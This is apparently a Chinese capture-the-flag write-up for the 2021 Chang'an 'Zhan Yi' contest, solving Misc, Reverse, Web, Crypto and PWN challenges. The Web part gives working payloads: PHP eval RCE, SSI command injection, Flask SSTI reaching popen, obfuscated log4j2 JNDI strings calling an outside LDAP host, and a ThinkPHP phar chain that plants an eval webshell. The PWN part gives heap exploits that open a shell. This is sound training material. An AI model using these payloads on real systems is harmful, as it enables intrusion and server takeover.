0%

2021长安“战疫”网络安全卫士守护赛Wp

2021长安“战疫”网络安全卫士守护赛Wp

Misc

【八卦迷宫】

按照迷宫走然后取拼音即可

flag如下

1
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

【朴实无华的取证】

首先查看版本 imageinfo得到WinXPSP2x86

然后pslist,注意

然后

发现目录是桌面而并非Desktop,重新filescan一下,导出有用信息

首先zip的密码是上面说的20211209

其次,得到的txt是加密函数,而密文在flag.png上。反过来写一个脚本

于是有了这个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
s = 'fdcb[8ldq?zloo?fhuwdlqob?vxffhhg?lq?iljkwlqj?wkh?hslghplf]'
for i in s:
if(ord(i)>=ord('a') and ord(i)<=ord('w')):
print(chr(ord(i)-3),end='')
elif(i == 'a'):
print('x',end='')
elif(i == 'b'):
print('y',end='')
elif(i == 'c'):
print('z',end='')
elif(i == "|"):
print('_')
else:
print(chr(ord(i)+32),end='')
#ca`_{Xian_šill_certainl__s˜cceed_in_fighting_the_epidemic}

查了一下certainl后面应该还有个y

然后前面那个单词是will,后面那个单词是succeed,于是得到flag提交正确

1
cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

【无字天书】

导出HTTP流,在导出的其中两个文件发现hex串,都是很明显的zip,hex–>ascii,得到zip,打开zip得到两文件,一个key.ws一个flag.txt

ws很明显的whitespace,直接https://vii5ard.github.io/whitespace/得到key:XiAnWillBeSafe

然后flag.txt很明显的SNOW

.\SNOW.EXE -p XiAnWillBeSafe -C .\flag.txt

【西安加油】

查看流量包发现大量的base64串,导出http发现secret.txt,base64解码发现是zip,保存后打开发现是拼图

因为不知道大小,所以猜了一个12*4

命令montage *png -tile 12x4 -geometry 100x100+0+0 out2.png

然后用gaps

python3 gaps –image=out2.png –generations=10 –population=48 –size=100 –save

【ez_Encrypt】

压缩包存在密码,查看注释可以得知密码为6位数字

找到工具爆破一下压缩包得到密码为220101

解压后首先看到steg.pyc,可以想到Pyc字节码隐写,找到https://github.com/AngelKitty/stegosaurus后对pyc文件的隐藏文本进行提取:

得到:TheKey:St3g1sV3ryFuNny

然后再去https://aghorler.github.io/emoji-aes/Emjio.txt中的表情进行AES解码,密钥为St3g1sV3ryFuNny,得到flag:

【binary】

不知道是什么文件,用file识别知道是java程序

file 234

无法反编译,cat发现class名字是Main.class,所以把文件名改成Main.class

用jdgui反编译

可以看到一个数组,提取出来,转换成ascii得到

可以看到是base64,解密得到

可以看到10之间夹杂着很多\n,于是打印出来复制到sublime,看起来是一个正方形,猜测是二维码,写脚本生成二维码

Python

1
2
3
4
import numpy as np
import cv2
a="0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000"
cv2.imwrite("1.png",np.array([i for i in a]).astype(int).reshape(37,37)*255)

识别二维码

【pipicc】

可以看到 327006.bmp 中有一片噪点,猜测是对像素点有所修改,用 010editor 打开,可以在 BITMAPLINE 结构中看到 IHDR 头,看不见 png 头,手动补上.

补上以后

找到IEND块,手动提取出png文件

得到1.png

用stegsolve打开1.png提取低位数据,在蓝色的低位可以看到

d9ff,联想到jpg的文件尾,但是是倒序的,save bin提取出来得到1.bin

保存得到1.bin

搜索 d8 ff,从第一个d8 ff 开始 删掉后面的内容,然后倒序,可以用010editor的script里的stringreverse

得到jpg图片

Reverse

【lemon】

题目参考2021hitcon的re题出的lemon语言的字节码,这是官网http://www.lemon-lang.org/documentation作为签到题 没有任何算法只需简单的还原字节码跑一下程序就能出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var q=[65,69,83];
var w=[113,105,117,113,105,117,108,101,98,105,101,122,117,111,108,101];
var e=0;
var a=[];
while(e<256){
a.append(e);
e=e+1;
}
var c=0;
while(c<256){
a[c]=(a[c]+q[c%3]+w[c%16])%256;
c=c+1;
}
var i=0;
while(i<3){
var j=0;
while(j<256){
a[j]=a[j]^a[(j+1)%256];
j=j+1;
}
var p=0;
while(p<256){
a[p]=(a[p]+1)%256;
p=p+1;
}
i=i+1;
}
i=0;
var n=0;
while(i<256){
n=n+a[i];
i=i+1;

}
n=n*20+5;
n=n*30-5;
n=n*40-5;
n=n*50+6645;
print(n);

【hello_py】

pyc反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
flag=[44, 100, 3, 50, 106, 90, 5, 102, 10, 112]
j=0
for i in flag:
if j%2==0:
flag[j]=flag[j]^flag[j+1]
j+=1
else:
flag[j]=flag[j]^j
j+=1

for i in range(len(flag)):
flag[i]=chr(flag[i])
flagstr=''
flagstr=''.join(flag)

print(flagstr)

【combat_slogan】

jdgui打开看main就看见加密的flag了,上面函数明显的rot13

在线rot13解一下就行了,然后套上flag{}

1
flag{We_w11l_f1ght_t0_end_t0_end_cazy}

【cute_doge】

IDA打开ctf1.exe,搜字符串,看见ZmxhZ3tDaDFuYV95eWRzX2Nhenl9

base64解码就是flag

1
flag{Ch1na_yyds_cazy}

【SafeIM】

本题构造了一个封包(PACKET 结构体):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
typedef struct _CHARTDATAINFO
{
DWORD DataType : 2; // Data type(e.g. text, picture...)
DWORD DataLen : 30; // Data length
union
{
DWORD Src; // Source(group/private)
DWORD Dst; // Destination(group/private)
} Type;
union
{
char Src[20]; // Source nick name(if private)
char Dst[20]; // Destination nick name(if private)
} Name;
} CHARTDATAINFO, * PCHARTDATAINFO;

typedef struct _PACKET
{
union
{
DWORD Request; // Requset type(e.g. login, logout...)
DWORD Reply; // Reply type(e.g. login success, message arrive...)
} Type;
CHARTDATAINFO DataInfo; // Data information
BYTE SessionKey[16]; // Session key
// Raw Data
} PACKET, * PPACKET;

发送消息之前的核心加密逻辑(位于 SafeTcpClient::ClientPack):

psk 已知,SessionKey 在 PACKET.SessionKey 可以拿到,不过这个 SessionKey 是被 XorSessionKey 函数处理过的,再用这个函数处理一下就能得到原来的 SessionKey,用还原后的 SessionKey 作为 iv,psk 作为 key,就能用标准 sm4 解密函数来解密 RawData

不过需要注意,客户端与服务端之间的通信使用 SSL 加密,需要用 wireshark 加载 server\certs\server.key,将应用层的解密数据拿出来

这里我把流量包中所有解密后的 Application Data 都存到 decrypted.txt 中,然后写脚本将聊天的内容 dump 出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import os
import sm4
import struct

user_name = ''
output_dir = os.path.join(os.path.dirname(__file__), "dump")

class Packet(object):
def __init__(self, raw: bytes):
self.raw_message = raw[48:]
self.meta_info = self.parse_meta_info(raw[:48])
self.sm4_key = b"Dem0_wants_girls"
self.sm4_iv = self.recovery_iv(self.meta_info["enc_session_key"])

def __str__(self):
global user_name
format_output = ''
meta_info = self.meta_info
plain = sm4.SM4Key(self.sm4_key).decrypt(self.raw_message, self.sm4_iv)

re_type = meta_info["re_type"]
if re_type == 0:
if len(plain):
user_name = self.parse_text(plain)
format_output += f"[Login Request]\n\tUser `{user_name}` is trying to login"
else:
format_output += f"[Login Reply]\n\tUser `{user_name}` login SUCCESS"
elif re_type == 1:
format_output += f"[Logout]\n\tUser `{user_name}` logout"
elif re_type == 2:
msg_type = meta_info["msg_type"]
format_output += f"[Message from {meta_info['src_nick_name']}]\n\t"
if msg_type == 1:
format_output += "TEXT: " + self.parse_text(plain)
elif msg_type == 2:
if plain[:3] == b"\xFF\xD8\xFF":
ext = "jpg"
elif plain[:4] == b"\x89\x50\x4E\x47":
ext = "png"
format_output += f"PICTURE: a {ext} file"
elif re_type == 4:
format_output += '[Online Users]\n\t'
for i in range(len(plain)//20):
if i != 0:
format_output += ", "
format_output += self.parse_text(plain[i*20:(i+1)*20])
format_output += '\n'
return format_output

def parse_meta_info(self, raw_head: bytes) -> dict:
assert len(raw_head) == 48, "meta information data length should be 48 bytes"

re_type, = struct.unpack("<I", raw_head[:4])
bit_merged, = struct.unpack("<I", raw_head[4:8])
msg_type = bit_merged & 0b11
msg_len = bit_merged >> 2
dst_user_type, = struct.unpack("<I", raw_head[8:12])
src_nick_name = self.parse_text(raw_head[12:32])
enc_session_key = raw_head[32:]
return dict(
msg_type=msg_type, msg_len=msg_len,
re_type=re_type, enc_session_key=enc_session_key,
dst_user_type=dst_user_type, src_nick_name=src_nick_name
)

def dump(self, idx: int):
assert self.meta_info["msg_len"] == len(self.raw_message), "broken packet"

msg_type = self.meta_info["msg_type"]
plain = sm4.SM4Key(self.sm4_key).decrypt(self.raw_message, self.sm4_iv)

if msg_type == 0:
pass
elif msg_type == 1:
file_name = os.path.join(output_dir, f"{idx}.txt")
with open(file_name, 'w') as f:
f.write(self.parse_text(plain))
elif msg_type == 2:
if plain[:3] == b"\xFF\xD8\xFF":
ext = "jpg"
elif plain[:4] == b"\x89\x50\x4E\x47":
ext = "png"
file_name = os.path.join(output_dir, f"{idx}.{ext}")
with open(file_name, 'wb') as f:
f.write(plain)

@staticmethod
def parse_text(raw: bytes) -> str:
for idx, c in enumerate(raw):
if c == 0:
return raw[:idx].decode()
return raw.decode()

@staticmethod
def recovery_iv(raw_key: bytes) -> bytes:
key = b""
for i in range(4):
dword, = struct.unpack("<I", raw_key[i*4:(i+1)*4])
ori = dword ^ ((i + 1) * 0x520C37 & 0xFFFFFFFF)
key += ori.to_bytes(4, "little")
return key


def main():
with open("decrypted.txt") as f:
raw_data = f.read().split('\n')
if not os.path.exists(output_dir):
os.mkdir(output_dir)
for idx, raw in enumerate(raw_data):
packet = Packet(bytes.fromhex(raw))
packet.dump(idx)
print(packet)

if __name__ == '__main__':
main()

查看 dump 文件夹,flag 是由图片和纯文本构成的:

从编号 5 到 42都是 flag 的字符,按顺序拼接起来得到 flag

Web

【RCE_No_Para】

源码:

查看可以利用的全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
array(4) {
["_GET"]=>
array(1) {
["code"]=>
string(29) "var_dump(get_defined_vars());"
}
["_POST"]=>
array(0) {
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}

通过$_GET传参进行rce

payload:

1
?1=system('tac flag.php');&code=eval(current(current(get_defined_vars())))

如下:

【Baby_Upload】

预想中图片什么的是可以正常上传的,但是后来加了对文件内容的检测,过滤了一些符号,忘了图片中也会有那些符号了,结果最后就导致图片也没办法上传,不过不会影响正常解题,过滤了ph,ini,htaccess,绕过不去,可以shtml来利用SSI注入RCE,但是过滤了很多命令

ls被过滤可以使用dir来列目录:

<!--#exec cmd="dir /"-->:

上传此文件,如下图所示:

接着会出现目录下的文件

很明显有flag,但是cat,tac,nl等等读文件的命令都没了,测了一下还有awk,cut,strings。因为fl被过滤了,可以用
?来匹配,可以构造出:

1
<!--#exec cmd="cut -b 1-100 /ffffff?llll11111aaaaa4444ggggg"-->

来读取文件,存为2.shtml后上传

获得flag。

【flask】

访问主页发现注释中有提示

/admin /static.js 一段python代码 此段代码为后端的URL Filter 当请求js类静态文件时不需要认证,而在请求其他路径时则会被重定向到login 在flask的官方文档中

在请求http://localhost/admin?test=123

而请求/admin;xxx=1&test=123

request.path 来说其值为/admin;xxx=1并没有把path parameter去掉,在代码中的判断使用的是request.full_path
而在request.full_path中是包含了query string因此只要发起这样的请求:随意增加一个参数,并且参数值是以.js?结尾即可绕过校检/admin?xxx=.js?这里不能用;的原因是request.path并没有去掉 path parameter 在没有带上query string的情况下full_path:/admin;x=.js?满足.js?request.path:/admin;x=.js路由表中没有admin;x=.js从而404

进入之后就是常规的ssti绕沙箱

1
2
3
4
5
aa:__class__ 
bb:__mro__
cc:__subclasses__
dd:__init__
ee:__globals__

((((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1)|attr(request.cookies.get('cc'))()).pop(117)|attr(request.cookies.get('dd'))|attr(request.cookies.get('ee'))).get('popen')('ls').read())

【Shiro?】

虽然登录界面伪造了一个shiro反序列化漏洞,但是实际漏洞点是在登录处的log4j2RCE漏洞。起一个ldap服务用于加载恶意类。运行环境Java版本较高需要bypass,即可正常攻击,可利用JNDIExploit工具进行攻击。用{::-n}等规则替换关键字和ip地址即可绕过规则, 也可用woodpecker生成payload, 在登录点username处输入payload即可

1
2
3
${${kBQ:aUR:j:-j}${MoYvsH:XAND:kG:-n}${EdAUxY:ck:pyjko:RIasA:-d}${hNhKmh:E:c:-i}${l:MLjM:-:}${qvO:STYFpz:ufnqW:V:-l}${G:mIWH:-d}${er:WLe:J:Pl:kCih:-a}${yHjTcA:FM:e:IktQAC:-p}${bvaWm:WW:-:}${kB:hGD:GPI:-/}${GC:VOUh:dqINYx:FK:n:-/}${v:KHSOc:-1}${Li:-9}${QtYkc:o:CQBzJl:D:-2}${KmJs:oJznyf:oIDrB:zmdK:-.}${F:ttejsH:k:rI:-1}${gN:-6}${tB:aJqxS:-8}${arq:J:wcas:d:-.}${rh:Rcz:-2}${z:Gvz:-.}${F:-2}${IsgAtf:-3}${CPsF:QRLx:dICC:rMp:-8}${o:Kk:hmhWl:XjIbnJ:-:}${kp:-1}${PeOoN:Y:mIFi:-3}${P:-8}${YMhc:EJ:uD:Wwytb:-9}${OLPfY:YTvJf:m:OXdV:-/}${rf:Uagil:PDiuPH:-T}${PBKgU:NhAyi:MpIN:-o}${awgT:-m}${aS:TCt:xnzwfF:UNaIr:Ppp:-c}${II:kNl:uHtTJi:WXfR:UjzJC:-a}${jBHdVl:PB:-t}${bkgfV:sYiJoF:uBIIDN:-B}${WROI:-y}${U:F:GAnUD:-p}${nQMY:-a}${yqYF:-s}${cVWi:rs:NFv:f:wmqbfG:-s}${XjHqnt:sP:uSjj:dWkcba:njEm:-/}${CY:-T}${qeW:-o}${tLipT:GjC:YGc:-m}${WmRvEy:pIxR:ur:LroYD:woOzUb:-c}${ye:d:sR:NsdI:-a}${OyXQBo:KSC:blRvH:iMLj:DxG:-t}${MOGEk:VnN:-E}${nxrEv:dKbcF:iEWJOf:-c}${Jd:GTm:rJ:KsWYpp:oz:-h}${UjBT:hMh:-o}}

${j${iqV:xQtVwM:-n}d${WnFLI:-i}${j:YxXkbc:QpCi:k:QA:-:}${tuNJ:pa:vDTPc:-l}dap:${mxyDc:-/}/${X:A:wJfVUX:-1}${u:si:TmOs:-9}2${x:DGbnfN:-.}${h:Ga:H:Gmiv:zYQf:-1}6${dqV:KYvLFD:Edfgq:HzKoK:-8}${KNzKwB:IEJiU:-.}${QMgb:NTVFr:gM:-2}.2${VPb:kgVqX:vMNFgF:EV:iyt:-3}8:1${nOhh:uTaV:TlMnJ:J:FM:-3}${zUKT:mVGhb:RHbf:ypvu:-8}${y:bPcT:g:Ya:-9}${EDXJQ:Eetclr:oSVeHz:J:-/}To${GbLFYe:UpYi:-m}cat${UaV:Mo:Fu:UDboa:ePDD:-B}${uzqh:O:lxU:UFRpQk:gGbqT:-y}p${l:pJeje:P:s:vjiPI:-a}${LCJ:vM:Ebt:LJmS:-s}${pXuvuL:oWk:kXTgAe:kml:-s}${WbhDYc:u:Ne:Slcje:-/}${M:-T}omc${kBm:V:iVQ:-a}${cYCt:-t}${iGHgwi:I:-E}cho}

【Flag配送中心】

HTTPoxy漏洞(CVE-2016-5385)

VPS上监听对应端口后,在HTTP请求包中添加Proxy头:

1
Proxy: http://VPS:POST/

即可监听到Flag

【tp】

thinkphp5.0.24 反序列化

通过网上poc 生成phar 文件后,上传

然后变量覆盖,传入:?FILES\[file\]\[name\]=phar://【上传的phar 文件名】

触发phar 反序列化,生成webshell

生成phar 的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files];
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output;
$this->append = array("xxx"=>"getError");
$this->error = $modelRelation;
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../../../var/www/html/',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($window);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}

Crypto

【LinearEquations】

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import*
data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
n = 10104483468358610819
t = []
for i in range(4):
t.append(data[i+1] - data[i])

a1 = (t[2] * inverse(t[0], n) - t[3] * inverse(t[1],n)) * inverse( (t[1]*inverse(t[0],n)-t[2]*inverse(t[1],n)) ,n) % n
b1 = (t[3] - a1 * t[2])* inverse(t[1],n) % n
c1 = (data[2] - data[1]*a1-data[0]*b1) % n
print(b'cazy{' + long_to_bytes(a1) + long_to_bytes(b1) + long_to_bytes(c1) + b'}')
#cazy{L1near_Equ4t1on6_1s_34sy}

【no_can_no_bb】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from tqdm import tqdm
c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
def pad(m):
tmp = 16-(len(m)%16)
return m + bytes([tmp for _ in range(tmp)])

def decrypt(c,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(c)

for i in tqdm(range(1,1<<20)):
key = pad(long_to_bytes(i))
m = decrypt(c,key)
if b'cazy{' in m:
print(m)
#cazy{n0_c4n,bb?n0p3!}

【no_cry_no_can】

1
2
3
4
5
6
7
8
9
10
11
12
def can_encrypt(flag,key):
block_len = len(flag) // len(key) + 1
new_key = key * block_len
return bytes([i^j for i,j in zip(flag,new_key)])


def brute_decrypt(cip):
key = bytes([i^j for i,j in zip(cip,b'cazy{')])
print(can_encrypt(cip,key))
c = b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
m = brute_decrypt(c)
#cazy{y3_1s_a_h4nds0me_b0y!}

【no_math_no_cry】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import*

def dec(c):
left = 0
right = 1<<500
for i in range(1000):
tmp = (left + right)//2
cip = (tmp - (1<<500))**2 + 0x0338470
if c > cip:
right = tmp
else:
left = tmp
return tmp
c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169
m = long_to_bytes(dec(c))
print(m)
#cazy{1234567890_no_m4th_n0_cRy}

【math】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from Crypto.Util.number import long_to_bytes
import gmpy2


y=int("0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3",16)
x=int("0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b",16)
ct=int("0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386",16)
e=int("0x10005",16)
d=int("0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1",16)


kn = e * d - 1
count = 0


def solve(a, b, c):
D = b ** 2 - 4 * a * c
assert gmpy2.is_square(D)
x1 = (-b + gmpy2.isqrt(D)) // (2 * a)
x2 = (-b - gmpy2.isqrt(D)) // (2 * a)
return x1, x2


for k in range(3, e):
if kn % k == 0:
count += 1
phi_n = kn // k
a = x - 1
b = x * y - 1 + (x - 1) * (y - 1) - phi_n
c = (y - 1) * (x * y - 1)
try:
k1, k2 = solve(a, b, c)
if (x * y - 1) % k1 == 0:
k2 = (x * y - 1) // k1
elif (x * y - 1) % k2 == 0:
k1, k2 = k2, (x * y - 1) // k2
else:
assert False
p, q = x + k2, y + k1
N = p * q

flag = long_to_bytes(pow(ct, d, N)).strip()
break
except AssertionError:
pass

print(flag)

PWN

【pwn1】

pwn签到题,唯一有点坑就是在出函数时并不仅仅是leave;ret,而是多出了两行汇编代码。因此需要我们分析和调试一下。

exp

1
2
3
4
5
6
7
from pwn import *
io=process('pwn1')
io.recvuntil(":")
stack = int(io.recv(10),16)
gdb.attach(io)
io.sendline('a'*0x30+p32(0x8048540)+p32(stack+0x34))
io.interactive()

【pwn2】

libc-2.27的off-by-one,细心一点就能发现for循环这块会让我们多输入一个字节。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
io=process('./pwn2')
elf=ELF('./pwn2')
libc=elf.libc
#libc=ELF('./libc-2.27.so')
context.log_level='debug'

def add(size,content):
io.sendlineafter('Choice: ','1')
io.sendlineafter('size: ',str(size))
io.sendafter('content: ',content)

def edit(index,content):
io.sendlineafter('Choice: ','2')
io.sendlineafter('idx: ',str(index))
io.sendlineafter('content: ',content)

def dele(index):
io.sendlineafter('Choice: ','3')
io.sendlineafter('idx: ',str(index))

def show(index):
io.sendlineafter('Choice: ','4')
io.sendlineafter('idx: ',str(index))

def exp():
add(0xf8,'f1ag\n')#0
add(0xf8,'f1ag\n')#1
add(0xf8,'f1ag\n')#2
add(0xf8,'f1ag\n')#3
add(0x18,'f1ag\n')#4
dele(2)
add(0xf8,'a'*0xf0+p64(0x300)+'\n')#2

for i in range(7):
add(0xf8,'a\n')#5~11
for i in range(7):
dele(11-i)

dele(0)
gdb.attach(io)
dele(3)
for i in range(7):
add(0xf8,'f1ag\n')#0,3,5~9
add(0xf8,'f1ag\n')#10
show(1)
malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
libc_base = malloc_hook - libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base

add(0xf8,'f1ag\n')#11=1
dele(1)
edit(11,p64(free_hook-8)+'\n')
add(0xf8,'f1ag\n')#1
add(0xf8,'/bin/sh\x00'+p64(system)+'\n')#12
dele(12)
io.interactive()
exp()

【pwn3】

这个题利用的是strcpy、strcat等一些对字符串操作的函数的漏洞,当他们复制字符串的时候会把字符串的最后一个字节\x00给带上,极容易造成off-by-null漏洞。而这个题的漏洞点正在于此,\x00正好将存放长度的地址覆盖置0,就可以将长度的值改写为一个很大的值,打败boss进入到奖励函数中。

因为有exit函数,很容易联想到打exit_hook。[exit_hook的知识点]( PWN学习—exit_hook-偷家 - BlackBird’s Blog (blackbird-bb.github.io) ) 参考这位西电大佬写的博客,然后直接打onegadget就ok了。在打one_gadget的时候正常出来的四个gadget不能打通,这时候在one_gadget后加上-l2可以找到更多的gadget。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#io=process('./Gpwn3')
io=remote('127.0.0.1',10002)
elf=ELF('./Gpwn3')
libc=ELF('./libc-2.23.so')
context.log_level='debug'

def create(description):
io.sendlineafter('choice:','1')
io.sendafter(' level :\n',description)

def power(description):
io.sendlineafter('choice:','2')
io.sendafter('another level :',description)

def beat():
io.sendlineafter('choice:','3')

def give_up():
io.sendlineafter('choice:','4')

def exp():
create('a'*35+'\n')
power('a')
power('\xff\xff\xff\xff')
beat()

io.recvuntil('reward: ')
puts=int(io.recv(14),16)
libc_base=puts-libc.symbols['puts']
print('libc_base',hex(libc_base))
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search('/bin/sh').next()
dl_rtld_unlock_recursive = libc_base+0x5f0040+3856
gadget=[0x45226,0x4527a,0xf03a4,0xf1247,0xcd173,0xcd248,0xf03b0,0xf67f0]
#gdb.attach(io)
io.sendafter('your name:',p64(dl_rtld_unlock_recursive))

io.sendafter('for you!',p64(gadget[7]+libc_base))
io.interactive()
exp()

【pwn4】

这个题有个小问题,忘了在add函数后加break跳出switch,因此有师傅修switch时修不出来add,只能看汇编代码,在这里和各位师傅道个歉。

此题的漏洞在free时没有对指针置0,libc-2.31的uaf。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
io=process('./pwn4')
elf=ELF('./pwn4')
libc=elf('./libc-2.31.so')
context.log_level='debug'

def add(index,name,key,value):
io.sendlineafter('Your choice: ','1')
io.sendlineafter('Your index: ',str(index))
io.sendlineafter('Enter your name: ',name)
io.sendlineafter('Please input a key: ',key)
io.sendlineafter('Please input a value: ',str(value))

def show(index):
io.sendlineafter('Your choice: ','2')
io.sendlineafter('Your index: ',str(index))

def edit(index,name,length,key,value):
io.sendlineafter('Your choice: ','3')
io.sendlineafter('Your index: ',str(index))
io.sendlineafter('Enter your name: ',name)
io.sendlineafter('New key length: ',str(length))
io.sendlineafter('Key: ',key)
io.sendlineafter('Value: ',str(value))

def dele(index):
io.sendlineafter('Your choice: ','4')
io.sendlineafter('Your index: ',str(index))

def exp():
add(0,'f1ag','a'*0x417,0)
add(1,'f1ag','a'*0x3c7,1)
dele(0)
show(0)
malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 -16
libc_base = malloc_hook - libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base

add(2,'f1ag','a'*0x57,2)
add(3,'f1ag','a'*0x57,3)
dele(3)
dele(2)
#gdb.attach(io)
edit(1,'f1ag',8,'/bin/sh\x00',1)
